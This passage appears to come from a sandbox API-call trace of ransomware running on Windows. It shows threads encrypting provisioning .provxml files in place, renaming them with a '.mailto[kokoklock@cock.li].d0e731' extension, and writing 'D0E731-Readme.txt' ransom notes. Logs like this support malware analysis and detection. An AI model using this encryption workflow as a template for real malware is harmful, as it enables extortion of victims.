Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0085.857] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0085.857] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0085.857] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.858] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.859] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0085.860] WriteFile (in: hFile=0x4a4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2cb3f964, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2cb3f964*=0x481, lpOverlapped=0x0) returned 1 [0085.861] CloseHandle (hObject=0x4a4) returned 1 [0085.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0085.861] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341fcc8) returned 1 [0085.861] RtlExitUserThread (Status=0x1) Thread: id = 1278 os_tid = 0x11d4 [0085.216] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20 [0085.217] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 1 [0085.217] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.217] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2cbbfb68 | out: lpFileSize=0x2cbbfb68*=1046) returned 1 [0085.217] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x412, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.217] ReadFile (in: hFile=0x2f4, lpBuffer=0x2cbbfb3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x2cbbfb3c*, lpNumberOfBytesRead=0x2cbbfb38*=0x4, lpOverlapped=0x0) returned 1 [0085.219] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.219] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0085.219] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e798 [0085.219] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d028 [0085.219] NtQuerySystemTime (in: CurrentTime=0x2cbbfb14 | out: CurrentTime=0x2cbbfb14*=132121176431172766) returned 0x0 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xaf630a6 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x791c005 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x3de6e6f3 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xdd5695f4 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xe4b7ed07 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xed167792 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x4d6c6645 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x303e095a [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xa474a875 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x55da54c8 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xd68f1045 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x55864ba5 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xf77304a2 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xa4beef23 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x5c62df29 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x2a0a5f23 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xec42ccb2 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x43ecb733 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xc8c59758 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x90fa4238 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x7f1242f8 [0085.219] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x477c2c50 [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xc1dc70a8 [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x6154e86c [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x65677e0f [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xbb6727ec [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xfa6352cc [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0x430b6e98 [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xcdd7114e [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xaf208698 [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xa31358ea [0085.220] RtlRandom (in: Seed=0x2cbbfb20 | out: Seed=0x2cbbfb20) returned 0xe9bc4442 [0085.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0085.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.230] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x416, lpNumberOfBytesRead=0x2cbbfb14, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2cbbfb14*=0x416, lpOverlapped=0x0) returned 1 [0085.230] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cbbfadc | out: lpNewFilePointer=0x0) returned 1 [0085.230] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x416, lpNumberOfBytesWritten=0x2cbbfb10, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2cbbfb10*=0x416, lpOverlapped=0x0) returned 1 [0085.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.230] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.230] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492730) returned 1 [0085.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492488*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cbbfb0c, lpOverlapped=0x0 | out: lpBuffer=0x3492488*, lpNumberOfBytesWritten=0x2cbbfb0c*=0x20, lpOverlapped=0x0) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2cbbfb38*=0x8, lpOverlapped=0x0) returned 1 [0085.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x2cbbfb50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x2cbbfb50*, lpNumberOfBytesWritten=0x2cbbfb38*=0x4, lpOverlapped=0x0) returned 1 [0085.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cbbfb38*=0x4, lpOverlapped=0x0) returned 1 [0085.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cbbfb38*=0x6c, lpOverlapped=0x0) returned 1 [0085.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x342e798*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x342e798*, lpNumberOfBytesWritten=0x2cbbfb38*=0x20, lpOverlapped=0x0) returned 1 [0085.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cbbfb38, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cbbfb38*=0x4, lpOverlapped=0x0) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0085.231] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.231] CloseHandle (hObject=0x2f4) returned 1 [0085.232] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x14e) returned 0x34b7e90 [0085.232] wcscpy (in: _Dest=0x34b7e90, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" [0085.232] wcscat (in: _Dest=0x34b7e90, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" [0085.232] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\0__power_energyestimationengine.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.233] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.234] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b7e90) returned 1 [0085.234] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", dwFileAttributes=0x20) returned 0 [0085.234] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.234] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\" [0085.234] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.234] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\d0e731-readme.txt")) returned 0xffffffff [0085.234] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{ee4aac98-c174-4941-82b1-d121e493e4fb}\\prov\\runtime\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.234] WriteFile (in: hFile=0x2f4, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x2cbbfb34, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x2cbbfb34*=0x481, lpOverlapped=0x0) returned 1 [0085.235] CloseHandle (hObject=0x2f4) returned 1 [0085.235] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.235] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a380) returned 1 [0085.235] RtlExitUserThread (Status=0x1) Thread: id = 1279 os_tid = 0x11dc [0085.236] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20 [0085.236] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.237] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{f11899f2-71ec-4621-9997-e17ae2f6eb26}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.237] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2cc3f920 | out: lpFileSize=0x2cc3f920*=1842) returned 1 [0085.237] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x72e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.237] ReadFile (in: hFile=0x2f4, lpBuffer=0x2cc3f8f4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cc3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2cc3f8f4*, lpNumberOfBytesRead=0x2cc3f8f0*=0x4, lpOverlapped=0x0) returned 1 [0085.239] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0085.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492488 [0085.239] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492730 [0085.239] NtQuerySystemTime (in: CurrentTime=0x2cc3f8cc | out: CurrentTime=0x2cc3f8cc*=132121176431329525) returned 0x0 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x9db4b24c [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xc4a4ce99 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xea6c41e5 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xb9d92a1 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xb4778af2 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x6d48ca9e [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x9523a6f9 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xa0aa9d30 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x1c908938 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xd4652597 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x3683353 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x47af2205 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xe6878bc6 [0085.239] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xb20bd223 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xa285e5f [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xff628ee6 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xf949c6ba [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x32453f93 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x65391f09 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x9b9070ce [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x6039fc60 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x365c8d71 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x89ab3dd0 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xf8e60529 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xb4c1585a [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x925808df [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x52e12e39 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xcb646be0 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0xa81c7e32 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x9a758601 [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x760b73be [0085.240] RtlRandom (in: Seed=0x2cc3f8d8 | out: Seed=0x2cc3f8d8) returned 0x828ffef0 [0085.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.250] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.251] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x732, lpNumberOfBytesRead=0x2cc3f8cc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2cc3f8cc*=0x732, lpOverlapped=0x0) returned 1 [0085.251] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cc3f894 | out: lpNewFilePointer=0x0) returned 1 [0085.251] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x732, lpNumberOfBytesWritten=0x2cc3f8c8, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2cc3f8c8*=0x732, lpOverlapped=0x0) returned 1 [0085.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491858 [0085.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.251] WriteFile (in: hFile=0x2f4, lpBuffer=0x3491858*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cc3f8c4, lpOverlapped=0x0 | out: lpBuffer=0x3491858*, lpNumberOfBytesWritten=0x2cc3f8c4*=0x20, lpOverlapped=0x0) returned 1 [0085.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491858) returned 1 [0085.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.251] WriteFile (in: hFile=0x2f4, lpBuffer=0x34914e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cc3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x34914e8*, lpNumberOfBytesWritten=0x2cc3f8f0*=0x8, lpOverlapped=0x0) returned 1 [0085.252] WriteFile (in: hFile=0x2f4, lpBuffer=0x2cc3f908*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cc3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x2cc3f908*, lpNumberOfBytesWritten=0x2cc3f8f0*=0x4, lpOverlapped=0x0) returned 1 [0085.252] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cc3f8f0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cc3f8f0*=0x4, lpOverlapped=0x0) returned 1 [0085.252] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, 